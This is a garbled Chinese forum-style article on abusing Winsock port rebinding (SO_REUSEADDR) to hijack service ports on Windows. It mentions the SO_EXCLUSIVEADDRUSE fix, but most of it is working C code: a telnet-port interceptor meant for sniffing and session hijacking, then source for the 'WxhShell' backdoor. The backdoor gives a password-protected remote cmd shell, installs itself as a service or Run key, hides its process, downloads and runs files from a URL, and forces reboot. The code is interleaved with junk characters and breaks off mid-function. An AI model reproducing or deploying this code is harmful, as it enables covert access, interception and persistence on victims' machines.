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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yyVE%e5nl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^w
jM u5f &c=
3BEh saddr.sin_family = AF_INET; r,GgMk catJC3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); JWxSN9.X ~\O,#j`_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]#FQde4]5 H ;HFen| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t0ZaI E GRgpy 这意味着什么?意味着可以进行如下的攻击: :-+j,G9t
G/_8xmsU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )},/=#C0 ~2XiKY;W? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3pkx3tp{ pG$l
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AT"!Ys| ~/Kqkhq+c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 B!1L W4^ Ec!R3+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Rdy-6 zj;KtgcE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |OBZSk1jp 6"o@d8>v 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YD;"_yH o5w = #include J~5+=V7OV #include t,yMO #include Q~)A
fa{ #include k=.pcDX DWORD WINAPI ClientThread(LPVOID lpParam); %uy?@ e int main() t[bZg9; { (0S;eM& WORD wVersionRequested; g;</ |Z DWORD ret; 9Ui|8e~= WSADATA wsaData; wB%;O `Oh BOOL val; >m`<AynJ SOCKADDR_IN saddr; (fC U+ SOCKADDR_IN scaddr; A!_yZ|)$T int err; 'X1/tB8* SOCKET s; *> 7Zc SOCKET sc; Jgzg[6 int caddsize;
<Lfo5:. HANDLE mt; x`zE#sD DWORD tid; x@,B))WlGr wVersionRequested = MAKEWORD( 2, 2 ); 0"xD>ue& err = WSAStartup( wVersionRequested, &wsaData ); ?lQ-HO Aw if ( err != 0 ) { #9@UzfZAwT printf("error!WSAStartup failed!\n"); u~j&g return -1; kntn9G } 4k=LVu]Kcr saddr.sin_family = AF_INET; "I&,':O+ #s|/5[i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |Ht~o(]&&/ +dF/$+t saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6^hCW`jG saddr.sin_port = htons(23); 5?C) v}w+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qon>[<]B { Q`[J3-Q*{ printf("error!socket failed!\n"); bRK[u\, return -1; sWX\/Iyy2p } Om C
F8:\/ val = TRUE; Vi\kB% //SO_REUSEADDR选项就是可以实现端口重绑定的 gjex; h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]sV) '- { {x/)S*:Z printf("error!setsockopt failed!\n"); Tq!.M1{& return -1; PitDk
1T } )w&k&TY4H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *WZ?C|6+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2f7]=snCG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 " 2J2za _t;Mi/\P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !d3:`l< { eUm,=s ret=GetLastError(); WxI_wRKx printf("error!bind failed!\n"); dI$M9; return -1; rQ287y{ } 8d*W7>rq listen(s,2); jp P'{mc while(1) p;YS`*!s { tAH0o\1; caddsize = sizeof(scaddr); W>(p4m //接受连接请求 EiWsVic[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .]H1uoci| if(sc!=INVALID_SOCKET) 2vx1M6a)L { -@yu 9=DT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
n>:|K0u" if(mt==NULL) I\:(`)"r { LKe~ printf("Thread Creat Failed!\n"); t{RdqAF break; =6LF_=} } eJtfQ@? } !w=6>B^ CloseHandle(mt); x#,nR]C } "qv J-Y closesocket(s); W<s5rM x WSACleanup(); <c$K3 return 0; /$?7L( } -/ h'uG DWORD WINAPI ClientThread(LPVOID lpParam) w@"l0gm+u[ { 0z:BSdno SOCKET ss = (SOCKET)lpParam; mnS F=l;; SOCKET sc; sDzlNMr?P+ unsigned char buf[4096]; /5 6sPl
7} SOCKADDR_IN saddr; ,CA3Q.y>| long num; ]\Q9j7}37+ DWORD val; %+e%
RZ3 DWORD ret; }qn@8} //如果是隐藏端口应用的话,可以在此处加一些判断 i*-L_!cc: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 H_<hZUB saddr.sin_family = AF_INET; Ed=]RR4R saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E{B=%ZNnm saddr.sin_port = htons(23); |$aTJ9 Iq: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >,s.!vpK { #>@~3kGg printf("error!socket failed!\n"); b Q6<R4 return -1; dyMj=e } [
bB
val = 100; Dhy@!EOS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vgvJ6$# { K\a=bA}DG ret = GetLastError(); 8KhE`C9z return -1; ^J{tOxO=l } 1pT-PO3= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zbobi, { ppu WcGo ret = GetLastError(); 8*t8F\U# return -1; FqpUw<]6s } ^wm>\o;
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &]mZp& { :^oF0,-qZ printf("error!socket connect failed!\n"); KoL3CA"N closesocket(sc); p{BBqKv closesocket(ss); FqT2+VO~ return -1; b9gezXAcd } g(Dr/D while(1) ^~Dmb2h { vsL)E:0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E |BE(F;K //如果是嗅探内容的话,可以再此处进行内容分析和记录 lyYi2& % //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }E%#g# num = recv(ss,buf,4096,0); "UDV4<|^k if(num>0) b ?-VZA: send(sc,buf,num,0); Q4vl else if(num==0) FJl_2 break; N
2\lBi num = recv(sc,buf,4096,0); 8kwe ._&) if(num>0) c
Oi:bC@ send(ss,buf,num,0); )lsR8Hi8 else if(num==0)
{j{H@rHuy break; a.O pxd } p^uX{! closesocket(ss); !uwZ%Uxz closesocket(sc); jR[3{ Reo return 0 ; :s5wFumD } tUPdq 0%t[ $xl>YYEBMH +>uiI4g ========================================================== [)E.T,fjMQ CMI V"- 下边附上一个代码,,WXhSHELL fI([vI 8r46Wr7Q ========================================================== YAoGVey f,_EPh> #include "stdafx.h" #uzp v3`k?jAaI #include <stdio.h> ZFNn(n #include <string.h> `$5 QTte #include <windows.h> |{a`,%mw #include <winsock2.h> v==b.
2= #include <winsvc.h> {-fhp@; #include <urlmon.h> d}2$J1` wG\ +C'&~ #pragma comment (lib, "Ws2_32.lib") Wu!s #pragma comment (lib, "urlmon.lib") WE|-zo 'zg; *)x1/ #define MAX_USER 100 // 最大客户端连接数 wcI?. #define BUF_SOCK 200 // sock buffer |\W9$V #define KEY_BUFF 255 // 输入 buffer i:coNK)4 ` ,O#r0m #define REBOOT 0 // 重启 c6@7>PM #define SHUTDOWN 1 // 关机 qlJzXq{|` (WISf}[l; #define DEF_PORT 5000 // 监听端口 z9B""ws [$<\*d/ #define REG_LEN 16 // 注册表键长度 ..5rW0lr #define SVC_LEN 80 // NT服务名长度 (&)PlIi7 e2X\ll // 从dll定义API CC8)yO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g]V_)} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :47bf<w|Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1YrIcovi- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v,VCbmc $xK2M // wxhshell配置信息 2`?58& struct WSCFG { ip`oL_c int ws_port; // 监听端口 jrl'?`O char ws_passstr[REG_LEN]; // 口令 aA|<W
g int ws_autoins; // 安装标记, 1=yes 0=no XJ3p< char ws_regname[REG_LEN]; // 注册表键名 Ww[Xqmg char ws_svcname[REG_LEN]; // 服务名 P,}cH;w6Ck char ws_svcdisp[SVC_LEN]; // 服务显示名 A./VO char ws_svcdesc[SVC_LEN]; // 服务描述信息 `v|w&ty* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b-+~D9U< int ws_downexe; // 下载执行标记, 1=yes 0=no 0S%xm'|N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" l
7XeZ} S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $:i%\7= 1j!LK- }; w I7iE4\vz l[AQyR1+/ // default Wxhshell configuration KS3>c7 struct WSCFG wscfg={DEF_PORT, \Xr
Sn_p- "xuhuanlingzhe", D\ ;(BB 1, 5(+PIKCjC "Wxhshell", U_8 Z& "Wxhshell", ? +q(,P@* "WxhShell Service", Wz%b,! "Wrsky Windows CmdShell Service", $Sx(vq6( "Please Input Your Password: ", /~O>He 1, `Pcbc\"*y " http://www.wrsky.com/wxhshell.exe", 6VsgZ"Il "Wxhshell.exe" `Q@w*ta) }; .T63: 5vmc'Om // 消息定义模块 sgGXj7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $\w<.)"# char *msg_ws_prompt="\n\r? for help\n\r#>"; <Pm!#)-g9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ]2 7 char *msg_ws_ext="\n\rExit."; )43\q Iu\ char *msg_ws_end="\n\rQuit."; sYG:\>}ie char *msg_ws_boot="\n\rReboot..."; R_7[7/a char *msg_ws_poff="\n\rShutdown..."; .S{FEV char *msg_ws_down="\n\rSave to "; QCD
MRh n J_|LGrt}) char *msg_ws_err="\n\rErr!"; F+m%PVW: char *msg_ws_ok="\n\rOK!"; 2YbI."ob (\8~W*ej" char ExeFile[MAX_PATH]; RXD*;B$v int nUser = 0; X>la!}sV HANDLE handles[MAX_USER]; UD!-.I] int OsIsNt; t4P`#,:8 xk:=.Qqh SERVICE_STATUS serviceStatus; 4m:D8&D_M SERVICE_STATUS_HANDLE hServiceStatusHandle; -91*VBrOd yd|ro G/ // 函数声明 IW{}l=D/ int Install(void); d$H int Uninstall(void); hb. ^& int DownloadFile(char *sURL, SOCKET wsh); IrMUw$ int Boot(int flag); 44x+2@&1 void HideProc(void); lM|}K-2 int GetOsVer(void); @fc-[pv int Wxhshell(SOCKET wsl); \}n\cUy- void TalkWithClient(void *cs); g!\H^d4 int CmdShell(SOCKET sock);
@BmI1 int StartFromService(void); 28!
ke int StartWxhshell(LPSTR lpCmdLine); "M!]t,?S f'oO/0lx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sOyL VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^cnTZzT#Q s 0To^I // 数据结构和表定义 0z
=?}xr SERVICE_TABLE_ENTRY DispatchTable[] =
F%tV^$% { )yt_i'D} {wscfg.ws_svcname, NTServiceMain}, (Qcd !! {NULL, NULL} #
E{2 !Z }; LsI8T
uv zCe[+F // 自我安装 k6$Ft.0d1Z int Install(void) RD|DHio% { {44#<A< char svExeFile[MAX_PATH]; `9*
|Y 8: HKEY key; )
w1`<7L strcpy(svExeFile,ExeFile); Iysp) c<a)Yqf"] // 如果是win9x系统,修改注册表设为自启动 *yZ `aKfH if(!OsIsNt) { {zTnE?(o` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z}a9%Fb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fjd)/Gg RegCloseKey(key); }ip3d m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0g`$Dap RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p>l:^-N;f RegCloseKey(key); I'E7mb<2 return 0; {ew;
/; } KDS}"/ } N`HiNb
[ } [0n[ \&
0 else { jcbq# F;L8FL- // 如果是NT以上系统,安装为系统服务
'N3)>!Y:8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b]b+PK*h if (schSCManager!=0) ~JS BZ@ { h5Ee*De SC_HANDLE schService = CreateService >i_ #q$o ( x^79s_h5 schSCManager, DS1{~_>nFu wscfg.ws_svcname, ]SmN}Iq1 wscfg.ws_svcdisp, Miz?t*|{[ SERVICE_ALL_ACCESS, ;O7Vl5R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i*((@: SERVICE_AUTO_START, #M)+sK$H%f SERVICE_ERROR_NORMAL, ]5r@`%9 svExeFile, !T#EkMM NULL, B#G:aBCM NULL, mt]^d;E NULL, |[)n.N65= NULL, Y:R*AOx NULL ni85Ne$ ); IG Ax+3V if (schService!=0) }a%1$>sj { GO)5R, CloseServiceHandle(schService); $Jo4n>/ CloseServiceHandle(schSCManager); ph$vP;} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bO` SBq$ strcat(svExeFile,wscfg.ws_svcname); @h9QfJ_f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DF>3)oTF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4a=QTq0p RegCloseKey(key); aka)#0l . return 0; FP'-=zgc } Xp.$FJ1) } #U(kK(uO CloseServiceHandle(schSCManager); `&9iC 4P } E&N~h|CL } 9:P\)'y? <L+1
&H return 1; MD^,"!A } 2){O&8 A PJYUD5 // 自我卸载 wF9L<<&B int Uninstall(void) O6ph_$nt. { [MuZ^'dR HKEY key; ?t5<S]'r$
!zfKj0^ if(!OsIsNt) { /i~x.i3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zI0d RegDeleteValue(key,wscfg.ws_regname); S Rk%BJ? ~ RegCloseKey(key); Ci4;e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U&ytZ7iB RegDeleteValue(key,wscfg.ws_regname); #jh5% @ RegCloseKey(key); THlQifA! return 0; =I aWf } c5_/i7 } fy$?~Ji& } Eq%f`Qg+1E else { ^
L]e]<h( /J(vqYK" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wn;)La if (schSCManager!=0) 2M*i'K;;)P { 58d[>0Xa[g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \wDL oR if (schService!=0) r1TdjnP,2^ { H,c`=Ii3 if(DeleteService(schService)!=0) { Gr 4v&Mz: CloseServiceHandle(schService); o*Xfgc CloseServiceHandle(schSCManager); 9Z2 1|5 return 0; JA*+F1s } 0'HQ=pP CloseServiceHandle(schService); *7E#=xb } 4l7
Ny\J CloseServiceHandle(schSCManager); zn>+\ } wBvVY3VQ^
} =P%&]5ts
Q6RTH return 1; ;NH^+h } Ta[\BWR2 )3)7zulnXH // 从指定url下载文件 L+*:VP6WD int DownloadFile(char *sURL, SOCKET wsh) :0,yq?M { 4BSqL!i( HRESULT hr; $}.+}'7$ char seps[]= "/"; 1+gF fKq char *token; |;7mDhj= char *file; b8_F2 char myURL[MAX_PATH]; |j-ng; char myFILE[MAX_PATH]; $_iE^zZaU^ 4&=</ok6`0 strcpy(myURL,sURL); \ @fKKb| token=strtok(myURL,seps); xr{Ym99E$ while(token!=NULL) WQ}wQ:] { m^0vux file=token; F(#?-MCs token=strtok(NULL,seps); $btu=_|f } cS'{h zPxR=0| GetCurrentDirectory(MAX_PATH,myFILE); W7Y@]QMX strcat(myFILE, "\\"); .9J}Z^FD strcat(myFILE, file); Q`W2\Kod] send(wsh,myFILE,strlen(myFILE),0); 2lO(f+ send(wsh,"...",3,0); ^86M94k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f9 \$,7F if(hr==S_OK) YrJUs]A return 0; !:m.-TE else 2Kf/I d1 return 1; ^;'8yE/ &y}7AV } ,:e~aG,B J8!2Tt // 系统电源模块 {x?qz~W int Boot(int flag) p0WUF\" { ccrWk*tr HANDLE hToken; OxYAM,F TOKEN_PRIVILEGES tkp; M2-`p SAdE9L =d if(OsIsNt) { ^?Mp(o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @lF?+/=$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t^KQ*8clG tkp.PrivilegeCount = 1; .}/8] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $L 8>Ha} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rD~/]y)t if(flag==REBOOT) { L2,2Sn*4i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z3weFbCH return 0; gu!!}pwV9 } c)LG+K else { `hZh}K^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9xO@_pkX return 0; =T,Q7Dh } kqm(D# } RARA _tii else { gK QJ^a\! if(flag==REBOOT) { (0H=f6N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C@6:uiT$ return 0; 7H5VzV } t\hnnu`Pq else { W06#|8,{v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zs
/>_w} return 0; YD'gyP4 } XQ]vJQYIR } Q $}#& 9gcW; return 1; XZb=;tYo } o6px1C: @T~XwJ~ // win9x进程隐藏模块 y\Aa;pL)RQ void HideProc(void) Tc/^h4xH { u"=]cBRWL6 j*<J&/luYZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <7VLUk} if ( hKernel != NULL ) xeSch?} { iR nj N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 46}U+> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AQUAQZc FreeLibrary(hKernel); BV
B2$&eJ } Q-'j131[ J)>DsQ+Cj return; xqzeBLU } .DhI3'Jrl @01.Pd // 获取操作系统版本 q4[}b-fF int GetOsVer(void) UeO/<ml3>J { VKDOM0{V OSVERSIONINFO winfo; P}}G9^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d\JaYizp GetVersionEx(&winfo); \{ @m if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k_,7#:+ return 1; QQS*r}> else YWK0.F,8a return 0; =U3S"W % } =O }^2OARo %xlpOR4 // 客户端句柄模块
]
#@:VR int Wxhshell(SOCKET wsl) *'-4%7C`1 { <=">2WP{ SOCKET wsh; EwzR4,r\M struct sockaddr_in client; KVa{;zBwl DWORD myID; E2'Wzrovlo -U /)y:k!% while(nUser<MAX_USER) 1 %P-X! { (N9-YP?qm int nSize=sizeof(client); JB~^J5#[Oh wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o'#& =h$_ if(wsh==INVALID_SOCKET) return 1; 9 8|sWI3B o1ZVEvp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %^@l5h.lqB if(handles[nUser]==0) ^YLC {V closesocket(wsh); o99ExQ. else <{kPa_`' nUser++; _u[tv, } 1?Y>Xz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )XDBK*! YRlf U5 return 0; yjjq&Cn } .7.lr[$g 2T&MVl!% // 关闭 socket teJt.VA7) void CloseIt(SOCKET wsh) 7\6g>4J^` { [A7TSN closesocket(wsh); l;iU9<~ nUser--; mH$tG
$ ExitThread(0); <Q~N9W } r@4A%ql< t(#9.b`W) // 客户端请求句柄 +-j-)WU?, void TalkWithClient(void *cs) V'&;r'#O { D5lQ0_IeW VvyRZMR SOCKET wsh=(SOCKET)cs; tP@NQCo char pwd[SVC_LEN]; i//H5D3 char cmd[KEY_BUFF]; \ASt&'E char chr[1]; c*)T4n[e int i,j; Keh=>K)T >5-1?vi while (nUser < MAX_USER) { kEDpF26! G!Zb27u+ if(wscfg.ws_passstr) { <N vw*yA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vgm'&YT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IEhD5? //ZeroMemory(pwd,KEY_BUFF); |8k1Bap`z i=0; Kv|
x
-_7 while(i<SVC_LEN) { `9^tuR, |{ N{VK // 设置超时 +K1M&( fd_set FdRead; G,)zn9X struct timeval TimeOut; ai_ve[A FD_ZERO(&FdRead); o]<Z3) FD_SET(wsh,&FdRead); XDY]LAV TimeOut.tv_sec=8; CPOHqK`k TimeOut.tv_usec=0; XQy`5iv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zV&l^. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]{1{XIF `MU~N_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $,}jz.R@ pwd =chr[0]; R(wUu#n$ if(chr[0]==0xd || chr[0]==0xa) { OXEEpoU?V pwd=0; NIs 7v break; Mh)?A/e } D~C'1C&W i++; Y*NzY*V\ } VE+H! ob
A e$~[\
w // 如果是非法用户,关闭 socket d6J/)nl if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v6*0@/L
M } MNu0t\`p4 -uYxc=4Lh send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :*Wq%Y=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sM-,95H VhO%4[Jl while(1) { l!tR<$| IbI0".o ZeroMemory(cmd,KEY_BUFF); GKt."[seV 36=aahXd\ // 自动支持客户端 telnet标准 (uC8M,I\ j=0; fu5L)P^T while(j<KEY_BUFF) { ok\-IU? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K0.aU cmd[j]=chr[0]; 8&2+=<Q~ if(chr[0]==0xa || chr[0]==0xd) { m
Q9dF, cmd[j]=0; @su<h\) break; &D<R;>iI } y\skke] j++; "8f4s|@3 } P6v ANL-B { M**a // 下载文件 4m0^
N if(strstr(cmd,"http://")) { n\ "6ol}>E send(wsh,msg_ws_down,strlen(msg_ws_down),0); %66="1z0@ if(DownloadFile(cmd,wsh)) t /+;#- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jy(G
A else GL
n M1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;u<Ah?w=Z } <X)\P}"L4 else { ? "I %K% 4LTm&+(5 switch(cmd[0]) { ~IhM(Q*mO! _*o<<C\E // 帮助 vJ&_-CX case '?': { 4#IT" i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); njs: break; J
p?XV<3Z } yNI0Do
2 // 安装 ~F,~^r!Jtu case 'i': { c1Ks{%iA if(Install()) \bARp z?a send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'"nU6B& else 'zYS:W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z=>fBb>w7 break; %/A>'p,~ } gv`_+E{P // 卸载 *V2;ds.~ case 'r': { Q a (Sb if(Uninstall()) kSz+UMC-7: send(wsh,msg_ws_err,strlen(msg_ws_err),0); !yd B,S else +pR,BjY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GQbr}xX.# break; [D~] } s;vt2>;q+e // 显示 wxhshell 所在路径 !8G)`' case 'p': { jYVs\h6 char svExeFile[MAX_PATH]; t(3f} ? strcpy(svExeFile,"\n\r"); H,%bKl# strcat(svExeFile,ExeFile); z 206fF send(wsh,svExeFile,strlen(svExeFile),0);
^{}G4BEY break; W:i Q&[f } vFk@
// 重启 d'';0[W) case 'b': { 64u(X^i send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @7nZjrH if(Boot(REBOOT)) Lp&nO send(wsh,msg_ws_err,strlen(msg_ws_err),0); B=cA$620 else { 1K9.3n closesocket(wsh); v[
iJ(C_ ExitThread(0); '7'/+G'~& } C'I&< break; sx#O3*'>1 } 76w[X=Fv // 关机 TDo)8+.2z case 'd': { Y(Qb)>K send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S(PV*e8 if(Boot(SHUTDOWN)) J@-'IJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )]fiyXA
else { b\"F6TF: closesocket(wsh); 6:2* < ExitThread(0); "pO } ]'pfw9"f~ break; ^Gd1T } d_,My lk // 获取shell D|zuj] case 's': { 6,=Z4> CmdShell(wsh); 4np2I~ ! closesocket(wsh); ) f~;P+ ExitThread(0); |.c4y* break; %NkiY iA } *y4g\#o. // 退出 nuq@m0t\# case 'x': { I2/am8!u% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $[X][[ CloseIt(wsh); YhH3f VM break; zbFy3-R P } E 3'I; // 离开 Pn9". case 'q': { Vo"G@W)lZ send(wsh,msg_ws_end,strlen(msg_ws_end),0); r-T1^u closesocket(wsh); `<tRfl}qs WSACleanup(); fn<dr(Dx exit(1); JzEg`Sn^ break; E{V?[HcWq } :P-H8*n"" } iFUiw& } iM8Cw/DS V=ll 9M // 提示信息 9y7hJib if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q_[y|ETJ] } ]+e
zg(C} } (3N/DY1/ 5J`w8[; return; .f$2-5q } XuP%/\ "w"a0nv // shell模块句柄 a~yiLq int CmdShell(SOCKET sock) Kz;Ar&^`N { bVcJ/+Yx| STARTUPINFO si; h?TIxo:6/ ZeroMemory(&si,sizeof(si)); N #v[YO`. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HW[&q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '_?Z{| PROCESS_INFORMATION ProcessInfo; QP(d77n char cmdline[]="cmd"; Pjh;;k|V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R_j.k3r4d return 0; KOg,V_(I } o135Xh$_>' i5 r<CxS // 自身启动模式 rT R$\ [C int StartFromService(void) \Hb!<mrp { ;I5P<7VW typedef struct -+){ ;, { /cClV"S*G DWORD ExitStatus; T4W20dxL7 DWORD PebBaseAddress; 6OE
xAn8 DWORD AffinityMask; CY?J$sN DWORD BasePriority; EC\@$Fg ULONG UniqueProcessId; $x }R2 ULONG InheritedFromUniqueProcessId; { 5 r]G } PROCESS_BASIC_INFORMATION; |gV~U~A] 3\Amj}RJ PROCNTQSIP NtQueryInformationProcess; iJOoO"Ai xlZh(pf static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t5 >ma:^j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;jxX /c 2+u+9 rW HANDLE hProcess; [`tOhL PROCESS_BASIC_INFORMATION pbi; RV@B[: f/L8usBXq HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y={ k7 if(NULL == hInst ) return 0; W.4R+kF< ~d&&\EZ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &DGqY5= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 